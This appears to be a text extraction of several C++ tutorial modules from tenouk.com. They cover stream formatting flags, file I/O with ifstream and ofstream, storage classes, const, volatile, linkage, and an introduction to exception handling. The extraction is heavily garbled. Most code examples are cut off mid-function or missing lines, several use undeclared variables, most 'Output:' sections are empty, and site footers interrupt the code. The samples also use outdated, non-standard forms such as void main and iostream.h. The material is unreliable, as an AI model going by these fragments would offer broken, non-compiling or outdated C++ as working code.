- putback() member function places the previous character obtained by a get() on an input stream
back onto that stream. For example:
char chs;
...
cin.putback(chs);
//put character back in the stream
- peek() member function returns the next character from an input stream, but does not remove the
character from the stream. For example:
char chs;
...
chs = cin.peek();
//peek at character
- Unformatted I/O performed with read() and write() member functions. They simply input or
output as raw byte.
- The read() member function extracts a given number of characters into an array and the write()
member function inserts n characters (nulls included). For example:
char texts[100];
...
cin.read(texts, 100);
//read 100 characters from input stream
//and don’t append ‘\0’
- Program example:
void main(void)
{
char buffer[SIZE];
www.tenouk.com
//the number of unformatted characters last extracted
cout<<endl;
system("pause");
}
Output:
- Program example:
void main(void)
{
int p;
www.tenouk.com
}
Output:
- Used to control the number of digits to the right of the decimal point.
- Use setprecision() or precision().
- precision 0 restores to the default precision of 6 decimal points.
void main(void)
{
double theroot = sqrt(11.55);
Output:
www.tenouk.com
18.4.3 Field Width
- Sets the field width and returns the previous width. If values processed are smaller than the field width,
fill characters are inserted as padding. Wider values will not be truncated.
- Use width() or setw(). For example:
- Program example:
void main(void)
{
int p = 6;
char string[20];
Output:
www.tenouk.com
18.4.4 Stream Format States
- Format state flag specify the kinds of formatting needed during the stream operations.
- Available member functions used to control the flag setting are: setf(), unsetf() and flags().
- flags() function must specify a value representing the settings of all the flags.
- The one argument, setf() function specifies one or more ORed flags and ORs them with the existing
flag setting to form a new format state.
- The setiosflags() parameterized stream manipulator performs the same functions as the setf.
- The resetiosflags() stream manipulator performs the same functions as the unsetf() member
function. For parameterized stream manipulators you need iomanip.h header file.
- Format state flags are defined as an enumeration in class ios. The list for some of the flags is shown
below:
- skipws flags indicates that >> should skip whitespace on an input stream. The default behavior of >>
is to skip whitespace. To change this, use the unsetf(ios::skipws). ws stream manipulator also
can be used for this purpose.
- ios::showpoint – this flag is set to force a floating point number to be output with its decimal
point and trailing zeroes. For example, floating point 88.0 will print 88 without showpoint set and
88.000000 (or many more 0s specified by current precision) with showpoint set.
www.tenouk.com
///Using showpoint
//controlling the trailing zeroes and floating points
#include <iostream.h>
#include <iomanip.h>
#include <stdlib.h>
void main(void)
{
cout<<"Before using the ios::showpoint flag\n"
<<"------------------------------------"<<endl;
cout<<"cout prints 88.88000 as: "<<88.88000
<<"\ncout prints 88.80000 as: "<<88.80000
<<"\ncout prints 88.00000 as: "<<88.00000
<<"\n\nAfter using the ios::showpoint flag\n"
<<"-----------------------------------"<<endl;
cout.setf(ios::showpoint);
cout<<"cout prints 88.88000 as: "<<88.88000
<<"\ncout prints 88.80000 as: "<<88.80000
<<"\ncout prints 88.00000 as: "<<88.00000<<endl;
system("pause");
}
Output:
18.4.6 Justification
void main(void)
{
long p = 123456789L;
//L - literal data type qualifier for long...
//F - float, UL unsigned integer...
cout<<"The default for 10 fields is right justified:\n"
<<setw(10)<<p
<<"\n\nUsing member function\n"
<<"---------------------\n"
www.tenouk.com
<<"\nUsing setf() to set ios::left:\n"<<setw(10);
cout.setf(ios::left,ios::adjustfield);
cout<<p<<"\nUsing unsetf() to restore the default:\n";
cout.unsetf(ios::left);
cout<<setw(10)<<p
<<"\n\nUsing parameterized stream manipulators\n"
<<"---------------------------------------\n"
<<"\nUse setiosflags() to set the ios::left:\n"
<<setw(10)<<setiosflags(ios::left)<<p
<<"\nUsing resetiosflags() to restore the default:\n"
<<setw(10)<<resetiosflags(ios::left)
<<p<<endl;
system("pause");
}
Output:
void main(void)
{
cout<<setiosflags(ios::internal | ios::showpos)
<<setw(12)<<12345<<endl;
system("pause");
}
Output:
18.4.7 Padding
- fill() – this member function specify the fill character to be used with adjusted field. If no value is
specified, spaces are used for padding. This function returns the prior padding character.
- setfill() – this manipulator also sets the padding character.
www.tenouk.com
#include <iostream.h>
#include <iomanip.h>
#include <stdlib.h>
void main(void)
{
long p = 30000;
cout<<p
<<" printed using the default pad character\n"
<<"for right and left justified and as hex\n"
<<"with internal justification.\n"
<<"--------------------------------------------\n";
cout.setf(ios::showbase);
cout<<setw(10)<<p<<endl;
cout.setf(ios::left,ios::adjustfield);
cout<<setw(10)<<p<<endl;
cout.setf(ios::internal,ios::adjustfield);
cout<<setw(10)<<hex<<p<<"\n\n";
Output:
- ios::basefield – includes the hex, oct and dec bits to specify that integers are to be treated as
hexadecimal, octal and decimal values respectively.
- If none of these bits is set, stream insertions default to decimal. Integers starting with 0 are treated as
octal values, starting with 0x or 0X are treated as hexadecimal values and all other integers are treated
as decimal values. So, set the showbase if you want to force the base of values to be output.
- Program example:
//using ios::showbase
#include <iostream.h>
#include <iomanip.h>
#include <stdlib.h>
void main(void)
{
www.tenouk.com
long p = 2000;
cout<<setiosflags(ios::showbase)
<<"Printing integers by their base:\n"
<<"--------------------------------\n"
<<"Decimal ---> "<<p<<'\n'
<<"Hexadecimal---> "<<hex<<p<<'\n'
<<"Octal ---> "<<oct<<p<<endl;
system("pause");
}
Output:
#include <iostream.h>
#include <stdlib.h>
void main(void)
{
cout<<"Declared variables\n"
<<"------------------\n"
<<"0.000654321"<<'\n'<<"9.8765e3"<<"\n\n";
cout<<"Default format:\n"
<<"---------------\n"
<<p<<'\t'<<q<<'\n'<<endl;
cout.setf(ios::scientific,ios::floatfield);
cout<<"Scientific format:\n"
<<"------------------\n"
<<p<<'\t'<<q<<'\n';
cout.unsetf(ios::scientific);
cout<<"\nDefault format after unsetf:\n"
<<"----------------------------\n"
<<p<<'\t'<<q<<endl;
cout.setf(ios::fixed,ios::floatfield);
cout<<"\nIn fixed format:\n"
<<"----------------\n"
<<p<<'\t'<<q<<endl;
www.tenouk.com
system("pause");
}
Output:
void main(void)
{
long p = 12345678;
cout<<setiosflags(ios::uppercase)
<<"Uppercase letters in scientific\n"
<<"notation-exponents and hexadecimal values:\n"
<<"------------------------------------------\n"
<<5.7654e12<<'\n'
<<hex<<p<<endl;
system("pause");
}
Output:
www.tenouk.com
//Demonstrating the flags() member function
//any format flags() not specified in the
//argument to flags() are reset.
#include <iostream.h>
#include <stdlib.h>
void main(void)
{
long p = 2000;
double q = 0.00124345;
cout.flags(OriginalFormat);
//restore the original format setting
cout<<"The value of the flags variable is: "
<<cout.flags()<<'\n'
<<"Print values in original format again:\n"
<<p<<'\t'<<q<<endl;
system("pause");
}
Output:
cin.eof()
- Will returns true if end-of-file has been encountered on cin and false otherwise.
- failbit(ios::failbit) is set for a stream when a format error occurs on the stream, but
character has not been lost. fail() member function determines if a stream operation has failed,
normally recoverable.
- badbit(ios::badbit) – is set for a stream when an error occurs that results in the loss of data.
bad() member function determines if a stream operation has failed, normally no recoverable.
www.tenouk.com
- goodbit(ios::goodbit) – is set for a stream if none of the bits eofbit(), failbit() or
badbit() are set for the stream. good() member function returns true if the bad(), fail() and
eof() functions would return false.
- rdstate() member function returns the error state of the stream. For example
cout.rdstate()
- Would return the state of the stream which could then be tested.
- clear() member function is normally used to restore a streams state to good() so that I/O may
proceed on the stream.
- Program example:
#include <iostream.h>
#include <stdlib.h>
void main(void)
{
int p;
Output:
www.tenouk.com
- Program example compiled using VC++/VC++ .Net.
#include <iostream>
using namespace std;
void main(void)
{
double p = 0.000654321, q = 9.8765e3;
cout<<"Declared variables\n"
<<"------------------\n"
<<"0.000654321"<<'\n'<<"9.8765e3"<<"\n\n";
cout<<"Default format:\n"
<<"---------------\n"
<<p<<'\t'<<q<<'\n'<<endl;
cout.setf(ios::scientific,ios::floatfield);
cout<<"Scientific format:\n"
<<"------------------\n"
<<p<<'\t'<<q<<'\n';
www.tenouk.com
cout.unsetf(ios::scientific);
cout<<"\nDefault format after unsetf:\n"
<<"----------------------------\n"
<<p<<'\t'<<q<<endl;
cout.setf(ios::fixed,ios::floatfield);
cout<<"\nIn fixed format:\n"
<<"----------------\n"
<<p<<'\t'<<q<<endl;
}
Output:
/////-padding.cpp-/////
//using fill() member function and setfill() manipulator
#include <iostream>
#include <iomanip>
using namespace std;
int main(void)
{
long p = 30000;
www.tenouk.com
[bodo@bakawali ~]$ ./padding
-----------------------------------------------o0o-----------------------------------------------
1. Check the best selling C/C++, Object Oriented and pattern analysis books at Amazon.com.
www.tenouk.com
MODULE 19
C++ FILE I/O
---------------------------------------------
MODULE 9
C FILE INPUT OUTPUT
Note: The examples in this Module were compiled and run using Win32 empty console application without .def
(definition) and .rc (resource) files (Borland®). All program examples have been tested using Borland C++ 5.xx
ONLY. It should be OK if you use Win32 empty console application as a target for other compilers because
header files used are from C++ Standard Library. For Linux/Unices, you have to concern about the path or directory
access because of the different file system. You may need some code modification and been left for your
assignments :o).
You may consider reading Section 23.3, Module 23 first, for using traditional, fully complied C++ or mixing the C
and C++ codes.
Abilities
▪ Understand and use the ifstream, ofstream and fstream class objects.
▪ Understand and use a sequential access file – Read and Write member functions.
▪ Understand and use a random access file – Read and Write member functions.
▪ Be familiar with other file I/O member functions.
19.1 Introduction
- The idea about the stream has been explained extensively in Module 9 (C file I/O) and C++ formatted
I/O also has been explained in Module 18.
- A file just a collection of related data that treated by C++ as a series of bytes.
- By the way, streams move in one way and in serial fashion from receiver and sender.
- Other than files on disk, devices such as magnetic tapes, primary or secondary storage devices, printers
and networks that carrying data are also treated as files.
- File I/O is one of the interesting topics in C/C++ because of the wide applications. We need to write to
disk when we do software installation, writing windows registry, read, write, delete, update file
contents, sending and receiving data through networks (sockets) etc.
- The include files needed in order to use the disk file I/O class objects are: iostream.h and
fstream.h. iostream.h contains standard input output objects such as cin, cout, cerr and
clog (refer to Module 18).
- Keep in mind that new header files which are fully C++ standard compliance that using template based
header files (ISO/IEC C++) don’t have the .h anymore. You can read the story HERE.
- Furthermore same as in C File I/O (Module 9), all the program examples don’t consider the file access
permissions. Normally, file access permissions are combined with the user permissions and rights as
security features of the Operating Systems. They are implementation dependant and the discussion can
be found starting from HERE or Tutorial #2.
- For C++, all file objects belong to the one of the following classes:
- Where:
www.tenouk.com
▪ name is the filename.
▪ Open file modes (flags) are used to indicate what to do to the file (e.g. open, close) and the data
(e.g. read, write). The flags can be logically ORed. Mode must be one of the following:
Mode Description
ios::app Append data to the end of the output file.
ios::ate Go to the end of the file when open.
ios::in Open for input, with open() member function of the
ifstream variable.
ios::out Open for output, with open() member function of the
ofstream variable.
ios::binary Binary file, if not present, the file is opened as an ASCII
file as default.
ios::trunc Discard contents of existing file when opening for write.
ios::nocreate
Fail if the file does not exist. For output file only, opening
an input file always fails if there is no fail.
ios::noreplace Do not overwrite existing file. If a file exists, cause the
opening file to fail.
▪ File protection access determines how the file can be accessed. It is Operating System
dependent and there are others attributes that are implementation extensions. For DOS® example,
it must be one of the following:
Attributes Description
0 Normal file or Archive
1 Read-only file
2 Hidden file
4 System file
- To declare the input file stream i.e. for reading we would declare like this:
ifstream theinputfile;
- To declare the output file stream i.e. for writing we would declare like this:
ofstream theoutputfile;
- Then, to connect to a stream, let say opening file testfileio.dat for reading, the file which
located in the same folder as the executable program we would write like this:
theinputfile.open("testfileio.dat ");
theinputfile.open("c:\\testfileio.dat ");
- Next, opening a file for reading and binary type modes, we could write:
- Another example, opening a file for reading, with normal type access and go to the end of the file, we
could write like this:
www.tenouk.com
- For writing, to connect to a stream, let say opening file testfileio.dat for writing, the file which
located in the same folder as the running program. Previous content of the testfileio.dat will be
overwritten, we could write like this:
theoutputfile.open("testfileio.dat");
theoutputfile.open("c:\\testfileio.dat ");
- Then, opening a file for writing and appending at the end of the file modes, we could write like this:
theoutputfile.open("testfileio.dat", ios::out|ios::app);
- Or opening for writing, check the existing of the file with normal access modes, we could write like
this:
- After we have completed the file processing, we have to close or disconnect the stream to free up the
resources to be used by other processes or programs. Using the close() member function, for input
stream we would write like this:
theinputfile.close();
theoutputfile.close();
- During the opening for reading or writing, we should provide error handling routines to make sure
the file operations have completed successfully otherwise some error message should be displayed or
error handling routines been executed.
- For example we can use fail() member function:
#include <iostream.h>
#include <fstream.h>
#include <stdlib.h> //for exit()
void main(void)
{
ifstream inputfile;
inputfile.open("testfileio.dat");
if(inputfile.fail())
{
cout<<"The file could not be opened!\n";
exit(1); // 0 – normal exit, non zero – some error
}
…
if(inputfile.bad())
{
cerr<<"Unable to open testfileio.dat\n";
exit(1); // 0 – normal exit, non zero – some error
}
- The following examples created for Win32 empty console application without .def (definition)
and .rc (resource) files. All examples in this Module have been tested using Borland 5.xx ONLY.
- At the end of this Module, there are program examples compiled with VC++/VC++ .Net and g++ for
Linux.
www.tenouk.com
- Keep in mind that in Microsoft Windows operating system environment there are another layer of
security for accessing Windows objects. The documentation of the Windows security features can be
found in Win32 SDK documentation. This Module will only discuss file input/output in general from
C++ programming perspective.
- Firstly, create a file named sampleread.txt at root on C: drive (or other location provided you
explicitly state the full path in the program). Write some text as shown below in sampleread.txt
file and save it.
#include <iostream.h>
#include <fstream.h>
#include <stdlib.h>
cin>>filename;
infile.open(filename);
}
void main(void)
{
//declare the input file stream
ifstream inputfile;
//declare the output file stream
ofstream outputfile;
char chs;
www.tenouk.com
Output:
- In this program we do not provide error handlings, the existing file to be opened is not verified.
- Another example using getline() member function. Firstly create text file, named
readfile.txt, put it on drive C: of the Windows platform, then type the following sample text and
save it.
void main(void)
{
char filename[50];
ifstream inputfile;
char FirstLine[50];
char SecondLine[50];
char ThirdLine[50];
Output:
www.tenouk.com
- Another program example with a simple exception handling.
#include <iostream.h>
#include <fstream.h>
#include <stdlib.h>
void main(void)
{
char filename[] = "C:\\testfileio.txt";
ifstream inputfile;
inputfile.open(filename, ios::in);
//test if fail to open fail for reading, do…
if(inputfile.fail())
{
cout<<"Opening "<<filename<<" file for reading\n";
cout<<"---------------------------------------\n";
cout<<"The "<<filename<<" file could not be opened!\n";
cout<<"Possible errors:\n";
cout<<"1. The file does not exist.\n";
cout<<"2. The path was not found.\n";
system("pause");
exit(1); //just exit
//0-normal, non zero - some error
}
//if successful opening file for reading, do…
else
{
cout<<"The "<<filename<<" file was opened successfully!\n";
cout<<"\nDo some file processing here...\n";
}
inputfile.close();
Output:
www.tenouk.com
- Then, create file named testfileio.txt on drive C. Re-run the program, the following should be
output.
- Same routine can be use for file output ofstream, by replacing the ifstream objects.
- The following example shows you how to prompt user for the file name.
void main(void)
{
char filename[100];
ifstream inputfile;
www.tenouk.com
if(inputfile.fail())
{
cout<<"\nThe file "<<filename<<" could not be closed!\n";
system("pause");
exit(1);
}
//else, do…
else
cout<<"\nThe "<<filename<<" file was closed successfully!\n";
system("pause");
}
//tested using the win32 console mode........
//provided the file testfileio.txt exists on the C: drive…
Output:
- Reading data and do some calculation, then display the data. Firstly, create a file named
testfileio1.txt on drive C. Key in some data in this test file as shown below and save the file.
void main(void)
{
char filename[] = "C:\\testfileio1.txt";
ifstream inputfile;
www.tenouk.com
int count = 0;
Output:
- Now let try using the ostream class object. This will create and open a file for writing. The file will
be created if it does not exist yet.
void main(void)
{
char filename[] = "C:\\testfileio2.txt";
ofstream outputfile;
www.tenouk.com
//----creating, opening and writing/appending data to file-----
outputfile.open(filename, ios::out|ios::app);
//simple error handling for file creating/opening for writing
//test if fail to open the file, do…
if(outputfile.fail())
{
cout<<"Creating and opening file "<<filename<<" for writing\n";
cout<<"------------------------------------------\n";
cout<<"The "<<filename<<" file could not be created/opened!\n";
cout<<"Possible errors:\n";
cout<<"1. The file does not exist.\n";
cout<<"2. The path was not found.\n";
system("pause");
exit(1); //just exit
//0-normal, non zero - some error
}
//else, if the file can be opened, do…
else
{
cout<<"The "<<filename<<" file was created and opened successfully!\n";
cout<<"\nDo some file writing....\n\n";
int sampledata;
//write some integers to the file...
for(sampledata=0; sampledata<=10; sampledata++)
outputfile<<sampledata<<" ";
outputfile<<endl;
//close the output file
outputfile.close();
//test if fail to close the file, do the following...
//simple error handling for output files closing
if(outputfile.fail())
{
cout<<"The "<<filename<<" file could not be closed!\n";
system("pause");
exit(1);
}
//test if successful to close the file, do the following...
else
cout<<"\nThe "<<filename<<" file was closed successfully!\n";
system("pause");
}
}
Output:
- When you re run this program second times, the data will be appended at the end of the pervious data.
www.tenouk.com
0 1 2 3 4 5 6 7 8 9 10
Writing some data in this file
------------------------------
0 1 2 3 4 5 6 7 8 9 10
- We can set position of the get pointer by using seekg(). The prototype are:
- These commands will set the position of the get pointer. The get pointer determines the next location
to be read in the buffer associated to the input stream. The parameters:
//using seekg()
#include <iostream.h>
#include <fstream.h>
#include <stdlib.h>
void main(void)
{
char filename[] = "C:\\testfileio3.txt";
fstream inputfile, outputfile;
www.tenouk.com
//get length of file
int length;
char * buffer;
Output:
- We can set position of the put pointer by using seekp(). The prototype are:
- These will set the position of the put pointer. The put pointer determines the next location where to
write in the buffer associated to the output stream. The parameters:
seekp()
Brief description
parameter
pos The new position in the stream buffer of type streampos object.
Value of type streamoff indicating the offset in the stream's buffer. It is relative to dir
off
parameter.
Seeking direction. An object of type seekdir that may take any of the following values:
dir ios_base::beg (seek from the beginning of the stream's buffer).
ios_base::cur (seek from the current position in the stream's buffer).
www.tenouk.com
ios_base::end (seek from the end of the stream's buffer).
//using seekp()
#include <iostream.h>
#include <fstream.h>
#include <stdlib.h>
void main(void)
{
char filename[] = "C:\\testfileio4.txt";
ofstream outputfile;
int locate;
- We can use the ignore() to extracts characters from input stream and discards them. The prototype:
- Here, the extraction ends when n characters have been discarded or when delimter is found,
whichever comes first. In this last case delimter is also extracted. For example:
www.tenouk.com
//istream ignore()
#include <iostream>
#include <stdlib.h>
int main ()
{
char firstword, secondword;
firstword = cin.get();
cin.ignore(30,' ');
secondword = cin.get();
return 0;
}
Output:
#include <iostream>
#include <fstream>
using namespace std;
cin>>filename;
infile.open(filename);
}
void main(void)
{
//declare the input file stream
ifstream inputfile;
//declare the output file stream
ofstream outputfile;
char chs;
www.tenouk.com
{
//output character by character (byte) on screen, standard output
cout<<chs;
//write to output file, samplewrite.txt
outputfile<<chs;
}
}
cout<<"\nReading and writing file is completed!"<<endl;
//close the input file stream
inputfile.close();
//close the output file stream
outputfile.close();
}
Output:
int main(void)
{
char filename[] = "testfileio.txt";
ifstream inputfile;
www.tenouk.com
//test, if end of file not found, do the following...
while(!inputfile.eof())
{
//total = total + price
total += price;
count++;
cout<<"Item price # "<<count<<" is "<<price<<endl;
//re read the next item price within the loop
inputfile>>price;
}
cout<<"The total price for "<<count<<" items is: "<<total<<endl;
cout<<"\n-------DONE-------\n"<<endl;
//close the input file
inputfile.close();
-------DONE-------
- From the output, the inputfile.fail() is true. Can you find the reason for me?
-----------------------------------------------o0o-----------------------------------------------------
1. Check the best selling C/C++, Object Oriented and pattern analysis books at Amazon.com.
www.tenouk.com
MODULE 20
STORAGE CLASSES, const,
volatile, local and global
Abilities
▪ Understand and use storage classes: auto, extern, static and register.
▪ Understand and use the const for variable and member function.
▪ Understand and use the volatile keyword.
▪ Understand the external and internal linkages terms.
20.1 Introduction
- Let figure out a typical C / C++ program that we have come across before, as shown below.
- This program is in one file. From this file we need other files such as headers and C / C++ resources
files (such as libraries, object files etc). During the compile and run time, these entire resources linked
together.
- There are also other resources needed dynamically during the program running such as input, dll files
and for GUI programming, a lot more resources needed.
#include <iostream.h>
//Here, iostream.h, we have class declaration
//and implementation parts. We may have member
//variables, member functions, array, pointers,
//struct, enum, typedef, normal variables etc.
#define ...
//other variables...
class MyClass
{};
//class variables...
union
{...};
struct struct1
{...};
//Another variable...
void function1();
{...}
//Another variables here...
typedef R S;
//Another variables here...
int r, s, t;
main()
{
struct X;
enum Y;
typedef P Q;
union Z;
class_type object1, object2;
//class type variable or objects...
...
int x, y;
//other variables...
}
www.tenouk.com
- You can see that it is very complex construction when we think about the variables. Hence, when
declaring and defining the various variables with various data types in different locations, the storage
allocation, the lifetime, the visibility or accessibility and how the compiler treat the variables is
important to be concerned about.
- Keep in mind that, other than logical errors, most of the violations have been guarded by the compilers
through warning and error messages. What a fortunate programmers we are!
- Storage class specifiers tell compiler the duration and visibility of the variables or objects declared, as
well as, where the variables or objects should be stored.
- In C++ program we have multiple files. In these files we may have normal variables, array, functions,
structures, unions, classes etc. So, variables and objects declared must have the visibility, the lifetime
and the storage, when values assigned.
- In C / C++ there are 4 different storage classes available: automatic, external, static and
register. It is similar in C, explained somewhere in tenouk.com :o).
storage_class declarator;
- For example:
- Local variables are variables declared within a function or blocks (after the opening brace, { of the
block). Local variables are automatic by default. This means that they come to existence when the
function in which it is declared is invoked and disappears when the function ends.
- Automatic variables are declared by using the keyword auto. But since the variables declared in
functions are automatic by default, this keyword may be dropped in the declaration as you found in
many source codes.
- The same variable names may be declared and used in different functions, but they are only known in
the functions in which they are declared. This means, there is no confusion even if the same variables
names are declared and used in different functions.
- Examples if we want explicitly declare the automatic type:
- Same as:
int x, y, z = 30;
char firstname;
- External variables are variables that are recognized globally, rather than locally. In other words, once
declared, the variable can be used in any line of codes throughout the rest of the program.
www.tenouk.com
- A variable defined outside a function is external. An external variable can also be declared within the
function that uses it by using the keyword extern hence it can be accessed by other code in other
files.
- Program segment example:
int value1;
char name;
double value2;
//three externally defined variables
main()
{
extern int value1;
extern char name;
extern double value2;
//three externally defined variables
//can be accessed from outside of this main()
extern value3;
//can be accessed from outside of this main()
...
}
- Note that the group of extern declarations may be omitted entirely if the original definition occurs in
the same file and before the function that uses them.
- Therefore in the above example, the three extern declarations may be dropped. However, including
the extern keyword explicitly will allow the function to use external variable even if it is defined
later in a file or even in a different file provided both files will be compiled and linked together.
- In a single file program, static variables are defined within individual functions that they are local to the
function in which they are defined. Static variables are local variables that retain their values
throughout the lifetime of the program. In other words, their same (or the latest) values are still
available when the function is re-invoked later.
- Their values can be utilized within the function in the same manner as other variables, but they cannot
be accessed from outside of their defined function.
- The static has internal linkage (that is not visible from outside) except for the static members of a
class that have external linkage. The example using the static variable has been presented in Module
13 and some other part of the program examples in this Tutorial.
- Simple program example:
int funcstatic(int)
{
//local variable should exist locally...
int sum = 0;
sum = sum + 10;
return sum;
}
int main()
{
int r = 5, s;
www.tenouk.com
Output:
int sum = 0;
- To:
- Recompile and rerun the program, the output should be as shown below. By using the static variable,
the previous value of the sum variable, by previous function call, is retained although it is just local
variable.
- The above three classes of variables are normally stored in computer memory. Register variables
however are stored in the processor registers, where they can be accessed and manipulated faster.
Register variables, like automatic variables, are local to the function in which they are declared.
- Defining certain variables to be register variables does not, however, guarantee that they will actually
be treated as register variables.
- Registers will be assigned to these variables by compiler so long as they are available. If a register
declaration cannot be fulfilled, the variables will be treated as automatic variables. So, it is not a
mandatory for the compiler to fulfill the register variables.
- Usually, only register variables are assigned the register storage class. If all things equal, a program
that makes use of register variables is likely to run faster than an identical program that uses just
automatic variables.
- Global variables are defined outside of all function bodies ({...}) and are available to all parts of the
program. The lifetime or availability of a global variable last until the program ends.
- As explained before, if extern keyword is used when declaring the global variable, the data is
available to this file by telling it the data is exist somewhere in another files.
- Local variables are local to a function, including the main() function. They are automatic variables,
exist when the scope is entered and disappear when the scope closes.
- Let try some experiment. First of all, let create a simple class. Create a header file named object.h,
save this file, do not run or compile this program.
www.tenouk.com
- In this program, we declare global external variable global1 as shown below:
public:
object(void);
int set(int);
~object(void);
};
//this header file cannot be compiled or run
- Next create the implementation file object.cpp, compile but do not run this program. In this
program, we declare and define:
//extern...
int global1 = 30;
int global2 = 40;
//extern...
int global1 = 30;
int global2 = 40;
object::~object(void)
{
objectvar = 0;
}
www.tenouk.com
- Finally create the main program, compile and run this program. In this program we declare and define:
object FirstObject;
//external to object.cpp
extern int global2;
//local to this main() function...
int local2 = 20;
main()
{
object FirstObject;
//external to object.cpp
extern int global2;
//local to this main() function...
int local2 = 20;
Output:
- Keep in mind that there is another layer of restriction in the class declaration using the public,
protected and private, but for this example, all the restriction has been disabled by using the
public keyword to keep it simple.
- In the most basic form, the const keyword specifies that a variable’s value is constant and tells the
compiler to prevent the programmer from modifying it.
- Example of the pointer declaration using const is shown below:
- Program example:
//const variable
#include <iostream>
#include <stdlib.h>
www.tenouk.com
int main()
{
//p = 15;
//--p;
system("pause");
}
Output:
- We can use the const keyword instead of the #define preprocessor directive to define constant
values.
- In C, constant values default to external linkage, so they can appear only in source files but in C++,
constant values default to internal linkage, which allows them to appear in header files.
- The const also can be used in pointer declaration. A pointer to a variable declared as const can be
assigned only to a pointer that is also declared as const.
- Another program segment example:
//const variable
#include <iostream>
int main()
{
}
//No output for this example
int main()
{
www.tenouk.com
system("pause");
return 0;
}
Output:
- Uncomment the //PtrOne = BuffTwo code and recompile the program, something like the
following error should be generated.
int main()
{
system("pause");
return 0;
}
Output:
- Uncomment the code //*ThePtr = 'z'; and recompile the program, the same error as in the
previous example should be expected.
- The const declaration also normally used in the definition of a function’s arguments, to indicate it
would not change them as shown below making the code clearer and to avoid error.
- When declaring a member function with the const keyword, this specifies that it is a read only
function that does not modify the object (notice the differences between variable versus object) for
which it is called.
- A constant member function cannot modify any data members or call any member functions that are
not constant.
- Implicitly, the const has set the ‘can’t modify’ *this pointer. This can be changed by using the
mutable (preferred) or const_cast operator.
- Pointer to constant data can be used as function parameters to prevent the function from modifying a
parameter passed through a pointer.
www.tenouk.com
- Place the const keyword after the closing parenthesis of the argument list.
- const keyword is required in both the declaration and the definition.
- Program example:
class Date
{
int month;
public:
//we would test the month only...
Date (int mnt, int dy, int yr);
//A write function, so can't be const
void SetMonth(int mnt);
//A read only function declaration
int GetMonth() const;
};
Date::Date(int,int,int)
{
}
void Date::SetMonth(int mnt)
{
//Modify the non const member variable data
month = mnt;
}
//-------main program------------
void main()
{
Date TheDate(7,4,2004);
//non const member function, OK
TheDate.SetMonth(11);
system("pause");
}
Output:
- Uncomment the //BirthDate.SetMonth(5);, then rerun the program, an error something like the
following statement should be expected.
www.tenouk.com
Non-const function Date::SetMonth(int) called for const object
- The const-ness of the function can be disabled by using the mutable keyword. The program
example will be presented in another Module.
20.4 volatile
- It is a type qualifier used to declare an object or variable value that can be modified by other than the
statement in the source codes itself, such as interrupt service routine and memory-mapped I/O port or
concurrent thread execution.
- Keep in mind that although we have to concern about these volatile variable or object, most of the
compilers nowadays have their own implementation how to handle this situation mainly for Win32
applications.
- For example if you want to create multithreaded program, there are C++ compiler or project settings
for multithreaded program. You have to check your compiler documentation.
- When declaring an object to be volatile, we tell the compiler not to make any assumptions concerning
the value of the object while evaluating expressions in which it occurs because the value could change
at any moment.
- When a name is declared as volatile, the compiler reloads the value from memory each time it is
accessed by the program. Volatile codes will not be optimized by compiler to make sure that the value
read at any moment is accurate.
- Without optimization, for example permitting the redundant reads, the volatile may have no effect.
- The keyword volatile is used before or after the data type declaration. They cannot appear after
the first comma in a multiple variable declaration. For example:
▪ Declaring volatile pointer to non volatile variables. For example, volatile pointer to integer.
▪ Declaring volatile pointer to a volatile variable. For example volatile pointer to volatile
integer.
▪ Illegal declaring after the first comma in multiple variable declaration example.
- When volatile is applied to the struct or union, the entire contents of the struct or union
become volatile however we can also apply the volatile to the members of struct or union
individually.
- volatile also applied to classes and their member functions.
20.5 Linkage
- Linkage is the process that allows each identifier to be associated correctly with one particular object or
function for the sake of the linker during the linking process. Each identifier is allocated a memory
storage that holds the variables or objects.
- This process must be obeyed to avoid the problem arises when the same identifier is declared in
different scopes such as, in different files, or declared more than once in the same scope.
www.tenouk.com
- All identifiers have one of three linkage attributes, closely related to their scope:
▪ External linkage,
▪ Internal linkage, or
▪ No linkage.
- These attributes are determined by the location and format of the declarations, together with the
explicit (or implicit by default) use of the storage class specifier static or extern.
- Each instance of a particular identifier with external linkage represents the same object or function
throughout the entire set of files and libraries making up the program.
▪ If the declaration of an object or function identifier contains the storage class specifier
extern, the identifier has the same linkage as any visible declaration of the identifier with
file scope. If there is no such visible declaration, the identifier has external linkage.
▪ If an object identifier with file scope is declared without a storage class specifier, the
identifier has external linkage.
- Each instance of a particular identifier with internal linkage represents the same object or function
within one file only.
▪ Any object or file identifier having file scope will have internal linkage if its declaration
contains the storage class specifier static.
▪ For C++, if the same identifier appears with both internal and external linkage within the
same file, the identifier will have external linkage. In C, it will have internal linkage.
▪ If a function is declared without a storage class specifier, its linkage is determined as if the
storage class specifier extern had been used.
▪ Any identifier declared to be other than an object or a function (for example, a typedef
identifier).
▪ Function parameters.
▪ Block scope identifiers for objects declared without the storage class specifier extern.
int funcstatic(int)
{
//local variable should exist locally...
static int sum = 0;
sum = sum + 10;
return sum;
}
int main()
{
int r = 5, s;
Output:
www.tenouk.com
--------------------------------------------------o0o------------------------------------------------------
1. Check the best selling C / C++, Object Oriented and pattern analysis books at Amazon.com.
www.tenouk.com
MODULE 21
EXCEPTION HANDLING
In the worst case, there must be an emergency exit!
Note:
The compiler used to compile the program examples in this Module is Visual Studio 6.0®, Win32 Empty Console
Mode application.
There is no C++ standard <exception> class found in my Borland® C++ 5.02 compiler. Check your compiler
documentation :o) and don’t forget to install any patches and Service Packs if any. For Borland you may try
Borland C++ Builder 5.5, 6.0 or multiplatform C++ BuilderX. Examples also tested using VC++ .Net
Abilities
21.1 Introduction
- When we develop a program, we expect the program does what it is supposed to do without any error.
Many operations, including object instantiation and file processing, are subject to failures that may go
beyond errors. Out-of-memory conditions, for instance, can occur even when your program is running
correctly.
- As an example, for typical application program the highest layer may consist of graphic user interface
(GUI) part that provide interface for users. These high-level components interact with objects, which in
turn encapsulate the application programming interface (API) routines.
- At a lower level, the API routines may interact with the operating system. The operating system itself
invokes system services that deal with low-level hardware resources such as physical memory, file
systems, and security modules. In general, runtime errors are detected in these lower code layers should
not be handled by themselves.
- To handle an error appropriately, higher-level components have to be informed that an error has
occurred. Generally, error handling consists of detecting an error and notifying the components that are
in charge. These components in turn attempt to recover from the error or terminate the program
properly.
- From the simplest one, we may use a proper prompting, for example:
- But what about if the user enter other than integer and not separate it by space? At least there must be a
prompt message or an alert dialog box, if the invalid data entered such as classic messages Abort,
Retry, Ignore where:
Message Description
Retry Debug the assertion or get help on asserts.
Ignore Ignore the assertion and continue running the program.
Abort Halt execution of the program and end the debugging session.
